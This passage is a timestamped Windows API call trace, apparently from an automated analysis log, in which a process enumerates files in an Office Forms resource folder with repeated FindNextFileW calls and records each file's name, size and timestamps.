cFileName="button_mid.gif", cAlternateFileName="")) returned 1 [0078.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_over.gif", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right.gif", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_over.gif", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.GIF", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELETE.GIF", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERROR.GIF", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x135f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.JS", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsColorChart.html", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x115a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplate.html", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePage.html", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageScript.js", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageStyle.css", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsImageTemplate.html", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x858, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsMacroTemplate.html", cAlternateFileName="")) returned 1 [0078.894] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529685b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x46a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x612, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x164a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewFrame.html", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewTemplate.html", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormToolImages.jpg", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2577, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_edit.js", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58285d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa52f, dwReserved0=0x0, dwReserved1=0x0, cFileName="macroprogress.gif", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicFunctions.js", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignleft.gif", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignright.gif", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_bullets.gif", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_center.gif", cAlternateFileName="")) returned 1 [0078.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosecolor.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosefont.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_decreaseindent.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_hyperlink.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_increaseindent.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_italic.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_justify.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_pressed.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_spellcheck.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_underline.gif", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14307, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, 